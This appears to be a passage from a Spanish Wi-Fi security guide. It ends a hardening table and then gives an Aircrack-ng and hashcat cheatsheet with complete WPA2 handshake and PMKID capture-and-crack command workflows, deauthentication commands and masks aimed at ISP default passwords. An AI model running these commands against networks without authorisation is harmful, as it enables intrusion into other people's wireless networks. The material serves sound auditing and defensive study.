Reducir potencia de señalMonitorización remotaRouter → Wi-Fi → Potencia de transmisión → BajaMedio
Red de invitados aisladaAcceso a red interna si se comprometeRouter → Red invitados → Activar aislamientoBajo
SSID oculto (no ESSID broadcasting)Reconocimiento básicoRouter → Wi-Fi → Ocultar SSID (seguridad mínima)Bajo
💡 Contraseña WPA2 incrackeable en prácticaUna contraseña WPA2 aleatoria de 20 caracteres con mayúsculas, minúsculas, números y símbolos es prácticamente incrackeable con hardware doméstico: con una RTX 4090 (1.8M PMK/s), crackear por fuerza bruta pura llevaría miles de años. El vector de ataque real pasa a ser el phishing, no el cracking.
Referencia
✅ Referencia Rápida

Cheatsheet de Aircrack-ng para auditorías Wi-Fi en entornos autorizados.

Flujo WPA2 — Handshake

  • Matar procesos: airmon-ng check kill
  • Activar monitor: airmon-ng start wlan0
  • Escanear redes: airodump-ng wlan0mon
  • Capturar objetivo: airodump-ng --bssid BSSID -c CH --write captura wlan0mon
  • Deauth para handshake: aireplay-ng --deauth 5 -a BSSID wlan0mon
  • Verificar handshake: aircrack-ng captura-01.cap
  • Crackear (CPU): aircrack-ng captura-01.cap -w rockyou.txt
  • Convertir para GPU: hcxpcapngtool -o hash.hc22000 captura-01.cap
  • Crackear (GPU): hashcat -m 22000 hash.hc22000 rockyou.txt -r best64.rule

Flujo PMKID — Sin Clientes

  • Preparar filtro BSSID: echo "aabbccddeeff" > target.txt
  • Capturar PMKID: hcxdumptool -i wlan0mon -o pmkid.pcapng --filterlist_ap=target.txt --filtermode=2
  • Convertir: hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
  • Crackear: hashcat -m 22000 pmkid.hc22000 rockyou.txt

Airmon-ng

  • Ver interfaces: airmon-ng
  • Matar conflictos: airmon-ng check kill
  • Activar monitor: airmon-ng start wlan0
  • Desactivar monitor: airmon-ng stop wlan0mon
  • Cambiar canal: iwconfig wlan0mon channel 6

Hashcat — Máscaras útiles para Wi-Fi

PatrónMáscaraCuándo usar
8 dígitos (routers ISP)-a 3 "?d?d?d?d?d?d?d?d"Movistar, Vodafone, routers por defecto
Nombre + 4 dígitos-a 3 "?l?l?l?l?l?l?l?d?d?d?d"Contraseñas tipo "casa2024"
May + 6 min + 2 dígitos-a 3 "?u?l?l?l?l?l?l?d?d"Contraseñas tipo "Hogar42"
10 caracteres alfanuméricos-a 3 "?a?a?a?a?a?a?a?a?a?a"Fuerza bruta general (muy lento)